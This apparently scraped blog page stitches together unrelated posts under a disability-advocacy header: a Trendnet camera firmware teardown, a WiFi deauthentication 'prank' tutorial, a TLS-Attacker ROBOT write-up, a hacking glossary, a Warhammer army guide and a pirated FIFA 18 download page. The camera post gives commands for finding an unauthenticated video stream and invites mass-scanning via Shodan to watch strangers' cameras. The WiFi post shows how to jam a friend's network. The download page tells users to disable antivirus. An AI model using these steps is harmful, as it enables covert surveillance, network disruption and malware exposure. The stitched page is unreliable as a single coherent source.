Advocating and assisting individuals with intellectual and developmental disabilities in their efforts to achieve education, transportation, recreation, employment and residential living goals.
Tuesday, May 5, 2020
Trendnet Cameras - I Always Feel Like Somebody'S Watching Me.
Firstly this post requires the following song to be playing.
Now that we got that out of the way... I have been seeing posts on sites with people having fun with embedded systems/devices and I was feeling left out. I didn't really want to go out and buy a device so I looked at what was laying around.
Enter the Trendnet TV-IP110w - http://www.trendnet.com/products/proddetail.asp?prod=145_TV-IP110W
To start off the latest firmware for this device can be found at the following location :
First order of business was to update the camera with the most recent firmware:
![]() |
| Device info page confirming firmware version |
Now that the device was using the same version of firmware as I was going to dive into, lets get to work. I will be using binwalk to fingerprint file headers that exist inside the firmware file. Binwalk can be downloaded from the following url: http://code.google.com/p/binwalk/
Running binwalk against the firmware file
binwalk FW_TV-IP110W_1.1.0-104_20110325_r1006.pck
DECIMAL HEX DESCRIPTION
-------------------------------------------------------------------------------------------------------
32320 0x7E40 gzip compressed data, from Unix, last modified: Thu Mar 24 22:59:08 2011, max compression
679136 0xA5CE0 gzip compressed data, was "rootfs", from Unix, last modified: Thu Mar 24 22:59:09 2011, max compression
Looks like there are two gzip files in the "pck" file. Lets carve them out using 'dd'. First cut the head off the file and save it off as '1_unk'
#dd if=FW_TV-IP110W_1.1.0-104_20110325_r1006.pck of=1_unk bs=1 count=32320
32320+0 records in
32320+0 records out
32320 bytes (32 kB) copied, 0.167867 s, 193 kB/s
Next cut out the first gzip file that was identified, we will call this file '2'
#dd if=FW_TV-IP110W_1.1.0-104_20110325_r1006.pck of=2 bs=1 skip=32320 count=646816
646816+0 records in
646816+0 records out
646816 bytes (647 kB) copied, 2.87656 s, 225 kB/s
Finally cut the last part of the file out that was identified as being a gzip file, call this file '3'
#dd if=FW_TV-IP110W_1.1.0-104_20110325_r1006.pck of=3 bs=1 skip=679136
2008256+0 records in
2008256+0 records out
2008256 bytes (2.0 MB) copied, 8.84203 s, 227 kB/s
For this post I am going to ignore files '1_unk' and '2' and just concentrate on file '3' as it contains an interesting bug :) Make a copy of the file '3' and extract it using gunzip
#file 3
3: gzip compressed data, was "rootfs", from Unix, last modified: Thu Mar 24 22:59:09 2011, max compression
#cp 3 3z.gz
#gunzip 3z.gz
gzip: 3z.gz: decompression OK, trailing garbage ignored
#file 3z
3z: Minix filesystem, 30 char names
As we can see the file '3' was a compressed Minix file system. Lets mount it and take a look around.
#mkdir cameraFS
#sudo mount -o loop -t minix 3z cameraFS/
#cd cameraFS/
#ls
bin dev etc lib linuxrc mnt proc sbin server tmp usr var
There is all sorts of interesting stuff in the "/server" directory but we are going to zero in on a specific directory "/server/cgi-bin/anony/"
#cd server/cgi-bin/anony/
#ls
jpgview.htm mjpeg.cgi mjpg.cgi view2.cgi
The "cgi-bin" directory is mapped to the root directory of http server of the camera, knowing this we can make a request to http://192.168.1.17/anony/mjpg.cgi and surprisingly we get a live stream from the camera.
| video stream. giving no fucks. |
Now at first I am thinking, well the directory is named "anony" that means anonymous so this must be something that is enabled in the settings that we can disable.... Looking at the configuration screen you can see where users can be configured to access the camera. The following screen shows the users I have configured (user, guest)
| Users configured with passwords. |
Still after setting up users with passwords the camera is more than happy to let me view its video stream by making our previous request. There does not appear to be a way to disable access to the video stream, I can't really believe this is something that is intended by the manufacturer. Lets see who is out there :)
Because the web server requires authentication to access it (normally) we can use this information to fingerprint the camera easily. We can use the realm of 'netcam' to conduct our searches
| HTTP Auth with 'netcam' realm |
Hopping on over to Shodan (http://www.shodanhq.com) we can search for 'netcam' and see if there is anyone out there for us to watch
| 9,500 results |
If we check a few we can see this is limited to only those results with the realm of 'netcam' and not 'Netcam'
| creepy hole in the wall |
| front doors to some business |
Doing this manually is boring and tedious, wouldn't it be great if we could automagically walk through all 9,500 results and log the 'good' hosts.... http://consolecowboys.org/scripts/camscan.py
This python script requires the shodan api libs http://docs.shodanhq.com/ and an API key. It will crawl the shodan results and check if the device is vulnerable and log it. The only caveat here is that the shodan api.py file needs to be edited to allow for including result page offsets. I have highlighted the required changes below.
def search(self, query,page=1):
"""Search the SHODAN database.
Arguments:
query -- search query; identical syntax to the website
page -- page number of results
Returns:
A dictionary with 3 main items: matches, countries and total.
Visit the website for more detailed information.
"""
return self._request('search', {'q': query,'page':page})
Last I ran this there was something like 350 vulnerable devices that were available via shodan. Enjoy.
Update: We are in no way associated with the @TRENDnetExposed twitter account.
Related newsUpdate: We are in no way associated with the @TRENDnetExposed twitter account.
WiFiJammer: Amazing Wi-Fi Tool
The name sounds exciting but really does it jam WiFi networks? Yes, it is able to do the thing which it's name suggests. So today I'm going to show you how to annoy your friend by cutting him/her short of the WiFi service.
Requirements:
- A computer/laptop with WiFi capable of monitoring (monitor mode).
- A Linux OS (I'm using Arch Linux with BlackArch Repos)
- And the most obvious thing wifijammer (If you're having BlackArch then you already have it).
How does it work? You maybe thinking!, it's quite simple it sends the deauth packets from the client to the AP (Access Point) after spoofing its (client's) mac-address which makes AP think that it's the connected client who wants to disconnect and Voila!
Well to jam all WiFi networks in your range its quite easy just type:
sudo wifijammer
but wait a minute this may not be a good idea. You may jam all the networks around you, is it really what you want to do? I don't think so and I guess it's illegal.
We just want to play a prank on our friend isn't it? So we want to attack just his/her AP. To do that just type:
sudo wifijammer -a <<AP-MAC-ADDRESS>>
here -a flag specifies that we want to jam a particular AP and after it we must provide the MAC-ADDRESS of that particular AP that we want to jam.
Now how in the world am I going to know what is the MAC-ADDRESS of my friend's AP without disturbing the other people around me?
It's easy just use the Hackers all time favorite tool airodump-ng. Type in the following commands:
sudo airmon-ng
sudo airodump-ng
airmon-ng will put your device in monitor mode and airodump-ng will list all the wifi networks around you with their BSSID, MAC-ADDRESS, and CHANNELS. Now look for your friend's BSSID and grab his/her MAC-ADDRESS and plug that in the above mentioned command. Wooohooo! now you are jamming just your friend's wifi network.
Maybe that's not what you want, maybe you want to jam all the people on a particular channel well wifijammer can help you even with that just type:
sudo wifijammer -c <<CHANNEL-NUMBER>>
with -c we specify to wifijammer that we only want to deauth clients on a specified channel. Again you can see with airodump-ng who is on which channel.
wifijammer has got many other flags you can check out all flags using this command that you always knew:
sudo wifijammer -h
Hope you enjoyed it, good bye and have fun :)
Continue reading
TLS-Attacker V2.2 And The ROBOT Attack
We found out that many TLS implementations are still vulnerable to different variations of a 19-year old Bleichenbacher's attack. Since Hanno argued to have an attack name, we called it ROBOT: https://robotattack.org
Given the new attack variants, we released a new version of TLS-Attacker 2.2, which covers our vulnerabilities.
TLS-Attacker allows you to automatically send differently formatted PKCS#1 encrypted messages and observe the server behavior:
In case the server responds with different error messages, it is most likely vulnerable. The following example provides an example of a vulnerable server detection output:
In this case TLS-Attacker identified that sending different PKCS#1 messages results in different server responses (the record contents are different).
More infoGiven the new attack variants, we released a new version of TLS-Attacker 2.2, which covers our vulnerabilities.
Bleichenbacher's attack from 1998
In 1998, Daniel Bleichenbacher discovered that the error messages given by SSL servers for errors in the PKCS #1 1.5 padding allow an adversary to execute an adaptive-chosen ciphertext attack. This attack also belongs to the category of padding oracle attacks. By performing the attack, the adversary exploits different responses returned by the server that decrypts the requests and validates the PKCS#1 1.5 padding. Given such a server, the attacker can use it as an oracle and decrypt ciphertexts.
We refer to one of our previous blog posts for more details.
OK, so what is new in our research?
In our research we performed scans of several well-known hosts and found out many of them are vulnerable to different forms of the attack. In the original paper, an oracle was constructed from a server that responded with different TLS alert messages. In 2014, further side-channels like timings were exploited. However, all the previous studies have considered mostly open source implementations. Only a few vulnerabilities have been found.
In our scans we could identify more than seven vulnerable products and open source software implementations, including F5, Radware, Cisco, Erlang, Bouncy Castle, or WolfSSL. We identified new side-channels triggered by incomplete protocol flows or TCP socket states.
For example, some F5 products would respond to a malformed ciphertext located in the ClientKeyExchange message with a TLS alert 40 (handshake failure) but allow connections to timeout if the decryption was successful. We could observe this behaviour only when sending incomplete TLS handshakes missing ChangeCipherSpec and Finished messages.
See our paper for more interesting results.
Release of TLS-Attacker 2.2
These new findings motivated us to implement the complete detection of Bleichenbacher attacks in our TLS-Attacker. Before our research, TLS-Attacker had implemented a basic Bleichenbacher attack evaluation with full TLS protocol flows. We extended this evaluation with shortened protocol flows with missing ChangeCipherSpec and Finished messages, and implemented an oracle detection based on TCP timeouts and duplicated TLS alerts. In addition, Robert (@ic0ns) added many fixes and merged features like replay attacks on 0-RTT in TLS 1.3.
You can find the newest version release here: https://github.com/RUB-NDS/TLS-Attacker/releases/tag/v2.2
$ java -jar Attacks.jar bleichenbacher -connect [host]:[port]14:12:42 [main] CONSOLE attacks.impl.Attacker - A server is considered vulnerable to this attack if it responds differently to the test vectors.
14:12:42 [main] CONSOLE attacks.impl.Attacker - A server is considered secure if it always responds the same way.
14:12:49 [main] CONSOLE attacks.impl.Attacker - Found a difference in responses in the Complete TLS protocol flow with CCS and Finished messages.
14:12:49 [main] CONSOLE attacks.impl.Attacker - The server seems to respond with different record contents.
14:12:49 [main] INFO attacks.Main - Vulnerable:trueTERMINOLOGIES OF ETHICAL HACKING
What is the terminologies in ethical hacking?
Here are a few key terms that you will hear in discussion about hackers and what they do:
1-Backdoor-A secret pathway a hacker uses to gain entry to a computer system.
2-Adware-It is the softw-are designed to force pre-chosen ads to display on your system.
3-Attack-That action performs by a attacker on a system to gain unauthorized access.
4-Buffer Overflow-It is the process of attack where the hacker delivers malicious commands to a system by overrunning an application buffer.
5-Denial-of-Service attack (DOS)-A attack designed to cripple the victim's system by preventing it from handling its normal traffic,usally by flooding it with false traffic.
6-Email Warm-A virus-laden script or mini-program sent to an unsuspecting victim through a normal-looking email message.
7-Bruteforce Attack-It is an automated and simplest kind of method to gain access to a system or website. It tries different combination of usernames and passwords,again & again until it gets in from bruteforce dictionary.
8-Root Access-The highest level of access to a computer system,which can give them complete control over the system.
9-Root Kit-A set of tools used by an intruder to expand and disguise his control of the system.It is the stealthy type of software used for gain access to a computer system.
10-Session Hijacking- When a hacker is able to insert malicious data packets right into an actual data transmission over the internet connection.
11-Phreaker-Phreakers are considered the original computer hackers who break into the telephone network illegally, typically to make free longdistance phone calls or to tap lines.
12-Trojan Horse-It is a malicious program that tricks the computer user into opening it.There designed with an intention to destroy files,alter information,steal password or other information.
13-Virus-It is piece of code or malicious program which is capable of copying itself has a detrimental effect such as corrupting the system od destroying data. Antivirus is used to protect the system from viruses.
14-Worms-It is a self reflicating virus that does not alter files but resides in the active memory and duplicate itself.
15-Vulnerability-It is a weakness which allows a hacker to compromise the security of a computer or network system to gain unauthorized access.
16-Threat-A threat is a possible danger that can exploit an existing bug or vulnerability to comprise the security of a computer or network system. Threat is of two types-physical & non physical.
17-Cross-site Scripting-(XSS) It is a type of computer security vulnerability found in web application.It enables attacker to inject client side script into web pages viwed by other users.
18-Botnet-It is also known as Zombie Army is a group of computers controlled without their owner's knowledge.It is used to send spam or make denial of service attacks.
19-Bot- A bot is a program that automates an action so that it can be done repeatedly at a much higher rate for a period than a human operator could do it.Example-Sending HTTP, FTP oe Telnet at a higer rate or calling script to creat objects at a higher rate.
20-Firewall-It is a designed to keep unwanted intruder outside a computer system or network for safe communication b/w system and users on the inside of the firewall.
21-Spam-A spam is unsolicited email or junk email sent to a large numbers of receipients without their consent.
22-Zombie Drone-It is defined as a hi-jacked computer that is being used anonymously as a soldier or drone for malicious activity.ExDistributing Unwanted Spam Emails.
23-Logic Bomb-It is a type of virus upload in to a system that triggers a malicious action when certain conditions are met.The most common version is Time Bomb.
24-Shrink Wrap code-The process of attack for exploiting the holes in unpatched or poorly configured software.
25-Malware-It is an umbrella term used to refer a variety of intrusive software, including computer viruses,worms,Trojan Horses,Ransomeware,spyware,adware, scareware and other malicious program.
Follow me on instagram-anoymous_adi
Read more
Friday, May 1, 2020
DE: Don't Lose Focus When Building Your Army
![]() |
| Stop making bad army lists! |
First, I'd like to welcome a lot of the newer players joining the Dark Eldar. We got a fantastic new book and there's a lot of things to learn. However, one of the things I want to warn you about is that Dark Eldar is NOT a beginner's army. There is a lot of tricks and nuances to the army that when managed poorly, will cause you lose many games. Take it from me, I started with DE back in 3rd Ed. 40K and I actually received most of the army from a friend that was quitting it. He warned me that the army was tough as shit and that he was tired of losing. Thankfully for me, I've always wanted to start playing them and I absolutely love a challenge. Coming from a competitive RTS background, 40K was basically a Power Point presentation of StarCraft.
OK, fast forward almost two decades and here I am. Still playing the Dark Kin but with much more experience. The next couple of paragraphs will be me trying to explain how to be a more successful Dark Eldar player in 8th Ed. This is something you just have to trust me when I tell you: The army is very simliar to previous editions, but the edition itself is very different. Things die a lot quicker now and the alpha damage potential from other armies out there can be just as mind-blowing as ours. In some cases, it might even be more potent, so you just gotta listen up, check the ego, and brace yourself for something that might sound harsh, but it will win you a lot of games.
STOP losing focus when building your army
This starts at list creation and this is a byproduct of having really cool units and being spoiled by choice. I'm not saying that Dark Eldar have unit choices up the ass, no, that's not what I mean. I mean that one of the biggest mistakes that newer players make is building their army in multiple different directions that branch away from their army goals. Before you build a list, you must have goals in mind. The goals should not be something as broad as "go kill your enemy", it should be something more specific with the exact tooling that you will need to get the job done. Maybe it's just my min-maxy ways as a competitive RTS player, or maybe it's my Program Manager genes being tossed into a game, but I'm telling you right now that whatever list you bring, it must have purpose.
What do I mean by this? I mean if you intend your army to shoot the enemy dead, it must do that and do it very well. If you want to assault the enemy dead, it must do that and do it very well. When you start building your list to do a little bit of everything, that's when things go to shit. The new 40K articles and Realspace Raid requirements for all these little fucking patrols all over the place doesn't make things any better. I'm absolutely serious about this: Go read some of my earlier articles where I'm constantly complaining about HQ tax. HQs, in our army is not very cheap, especially when you look at the Archon and the Harmonculi who are ~70 points. I wish I can link you guys to some army lists I've seen on the internet so far with naked Archons all over the place without transports. What's the fucking point? You're literally spending 70 points for the dude to sit there and look stupid or the rest of the battle. Succubus are the only HQs I would recommend for a cheaper HQ unit that can do some work, but that's not the point here. The point here is that your list must be focused to do something well, and do it exceptionally well. This is why I think that my pure Kabal all shooting army is still my strongest variant of the Dark Eldar and that my Kabal/Cult Succubus whip-my-hair-back-and-forth list is just for fun. I know that it is weaker because it doesn't do anything exceptionally well. Remember again, if you pay for something, make sure it does something.
Let's break it down some more. You can start by looking at the damage potential that the list provides from a firepower perspective and then you can examine it from a melee perspective. Can your melee components outfight other armies melee components? I don't think so. It does a pretty decent job at it, but Wyches aren't exactly a unit I would write home to mom about. What about shooting? Well, because you subbed in Wyches, you are taking away from your shooting component so it's definitely not as strong as a pure shooty force. This makes you extra succeptible vs. the likes of Tau, AdMech or other pure shooty armies with a higher Alpha than you. This puts you at an immediate disadvantage and forces you into a shooting attrition war which you will almost certaintly lose. Playing defensive is not Dark Eldar's speciality, and even if they have some units that can do that, they are considered the outlier for what the army IS truly good at, and that's shooting.
Don't get me wrong, it's not all doom and gloom yet. I will talk about some awesome and cheap melee units that we can bring forth shortly.
![]() |
| Yup, this can be you! |
STOP using CPs as list-building requirements
Stay the hell away from those multiple Patrol armies with overinflated HQs. Do NOT fall into the trap of building up Patrols with a bunch of useless HQs because you want the CP. That's almost as bad as building a Brigade just to realize that you bought a crap ton of units but don't have the points to equip or use them properly so they end up being fuckall useless once they hit the battlefield. Remember: For every unit you buy, make sure it counts for something. I'm not saying to be allergic to melee or not branch out into Coven units to hold objectives. I'm saying don't go overboard and be mindful that more you pull your army into different directions, the weaker it will be at doing any one thing. If you do want to make your army multi-faceted, make sure that it does both of these things as well as it can. Just don't try to go in all 3 directions that the DE book is painfully telling newer players to do with all this Patrol garbage.
Don't believe me? Do this: Try and CP whore and build a Brigade army list for DE, as competitive as you can. Then show me the firepower that the list can put out with respect to range vs. what the total number of wounds look like with respect to toughness and saves. I am willing to bet that that army cannot fight its way out of a piss-soaked paper bag. When I try and ask people why the hell they need CPs as a requirement to build an design armies, they always give me the same piss-poor answer: CPs win games (thinking multiple uses of Agents of Vect). Yes, you're correct, well-timed and properly used CPs can win games, but I don't see Agents of Vect shooting or actively killing your opponent's units from the start of the game. The only thing that can do that effectively are your units and you should not be handicapping yourself by locking into some rigid army structure just for CPs. Agents of Vect is not going to save your ass from a Admech gunline, so you might as well drop all the shitty MSU Scourges and Reavers that are just going to explode and do nothing for you. Not to mention you can get close to Bridgade level CPs with some good list tweaking.
Likewise, I'd like to see a triple Patrol list with Kabal, Wyches and Coven in there and it try to be competitive. It will be decent at best, but never as good as a list with just Kabal/Cult simply because you're trying to do too many things at the same time. Real talk though, let's take some of my own shit and dissect it on a Haemoculi table.
Check it out. It starts with an idea, and then I'm going to braindump onto this page:
- I've been throwing out the idea of taking Flayed Skull recently just so I can play with a killy Archon AND a killy Succubus.
- I'm going to accept the risk that I will be losing some firepower in this list, but hopefully two killy HQs will allow me to make up that killing power. I just need to make sure I can keep this HQs cheap and killy.
- Let's take an existing Skeleton list that I have and then turn it into something that has a strong melee component that has good synergy with the rest of the list.
- The entire army has to move fast and apply good pressure so it can overwhelm the enemy's fire priorities. It's a go big or go home list.
OK, now let's break this down into actual game terms:
- Killy Archon for me is the Famed Savagery + Djin Blade that can get 8 attacks at S5 AP-3 D3 wounds that hit on 2s with re-rolls to hit.
- Killy Succubus for me is the Blood Dancer + Triptych Whip, Strife and Adrenalight that gives me 9 attacks at WS2+ re-rolling 1s and every hit of a 6 turns into 3 hits with an Agonizer.
- I'm going to trim down as much as I can from my firepower to make room for these badasses and give them a full retinue of Wyches to accompany them in Raiders.
- I need extra weapons and Warlord traits, so I'm going to need more CP to activate Alliance of Agony for the Blood Dancer and possibly more Prizes from the Dark City.
- Now, let's make the entire army move FAST. Really fast, so we're going full YOLO over here. Keep in mind that through playtesting, I can move these boats under the Black Heart Spearhead to get those additional FNPs.
1999 // 10 CP
Flayed Skull Battalion +3 CP
HQ:
Archon, Djin Blade, Blaster = 93
Trait: Famed Savagery
Archon, Huskblade, Blaster, PGL = 96
TROOP:
10x Warriors, 2x Blaster, SCannon = 104
10x Warriors, 2x Blaster, SCannon = 104
10x Warriors, 2x Blaster, SCannon = 104
PARTY BOATS:
Raider, Dark Lance = 85
Raider, Dark Lance = 85
Raider, Dark Lance = 85
Raider, Dark Lance = 85
Raider, Dark Lance = 85
+++
Strife Battalion +3 CP
HQ:
Succubus, Adrenalight, Whip = 54
Trait: Blood Dancer
Succubus, Painbringer, Agonizer = 54
TROOP:
8x Wyches, Grave Lotus, Agonzer, BP, Shardnet = 83
8x Wyches, Serpentin, Agonzer, BP, Shardnet = 83
5x Wyches, Hypex = 40
+++
Black Heart Spearhead +1 CP
HQ:
Archon, Living Muse, Agonizer, Blaster, PGL = 94
FLYER:
Razorwing, 2x Dark Lance = 145
Razorwing, 2x Dark Lance = 145
HEAVY:
Ravager, 3x Dinsintegrators = 125
Ravager, 3x Dinsintegrators = 125
Ravager, 3x Dinsintegrators = 125
>>>
Firepower:
9 Dark Lances at BS3+
9 Disintegrators at BS3+
6 Blasters at BS3+
3 Blasters at BS2+
2 Razorwing Missiles at BS3+
3 Splinter Cannons at BS3+
25 Splinter Rifles at BS3+
The TLDR is this:
- Don't branch out too much, you will lose focus and detract from your army goals.
- Trying to be too many things will make your army suck and do nothing well.
- Stop building shitty army lists focused on CPs. Units win games, not CPs.
- If you must branch, do 2 things decently well instead of 1 thing really well.
I realized this was part-guide and part-rant, but it needed to be done. Have a good night all.
FIFA 18 Free Download
Powered by Frostbite, FIFA 18 blurs the line between the virtual and real worlds, bringing to life the players, teams and atmospheres of The World's Game. Move with Real Player Motion Technology – an all-new animation system that creates a new level of responsiveness and player personality – to unlock dramatic moments in the world's most immersive atmospheres. Then go on a global journey as Alex Hunter along with a star-studded cast of characters, including Cristiano Ronaldo and other European football stars.
GAMEPLAY AND SCREENSHOTS :
DOWNLOAD GAME:
♢ Click or choose only one button below to download this game.
♢ View detailed instructions for downloading and installing the game here.
♢ Use 7-Zip to extract RAR, ZIP and ISO files. Install PowerISO to mount ISO files.
FIFA 18 Free Download
INSTRUCTIONS FOR THIS GAME
➤ Download the game by clicking on the button link provided above.
➤ Download the game on the host site and turn off your Antivirus or Windows Defender to avoid errors.
➤ Once the download has been finished or completed, locate or go to that file.
➤ To open .iso file, use PowerISO and run the setup as admin then install the game on your PC.
➤ Once the installation process is complete, run the game's exe as admin and you can now play the game.
➤ Congratulations! You can now play this game for free on your PC.
➤ Note: If you like this video game, please buy it and support the developers of this game.
SYSTEM REQUIREMENTS:
(Your PC must at least have the equivalent or higher specs in order to run this game.)
Minimum:
• OS: Windows 7/8.1/10 – 64-Bit
• CPU: Intel Core i3-2100 @ 3.1GHz or AMD Phenom II X4 965 @ 3.4 GHz
• RAM: 8GB
• Hard Drive Space Required: 50.0 GB
• Minimum Supported Video Cards: NVIDIA GTX 460 or AMD Radeon R7 260
• DirectX: 11.0
Recommended:
• OS: Windows 7/8.1/10 – 64-Bit
• CPU: Intel i5-3550K @ 3.40GHz or AMD FX 8150 @ 3.6GHz
• RAM: 8GB
• Hard Drive Space Required: 50.0 GB
• Minimum Supported Video Cards: NVIDIA GTX 660 or AMD Radeon R9 270
• DirectX: 11.0
Supported Language: English, Italian, Spanish, Polish, Russian, Portuguese-Brazil, Simplified Chinese language are available.• OS: Windows 7/8.1/10 – 64-Bit
• CPU: Intel Core i3-2100 @ 3.1GHz or AMD Phenom II X4 965 @ 3.4 GHz
• RAM: 8GB
• Hard Drive Space Required: 50.0 GB
• Minimum Supported Video Cards: NVIDIA GTX 460 or AMD Radeon R7 260
• DirectX: 11.0
Recommended:
• OS: Windows 7/8.1/10 – 64-Bit
• CPU: Intel i5-3550K @ 3.40GHz or AMD FX 8150 @ 3.6GHz
• RAM: 8GB
• Hard Drive Space Required: 50.0 GB
• Minimum Supported Video Cards: NVIDIA GTX 660 or AMD Radeon R9 270
• DirectX: 11.0
If you have any questions or encountered broken links, please do not hesitate to comment below. :D
Subscribe to:
Posts (Atom)















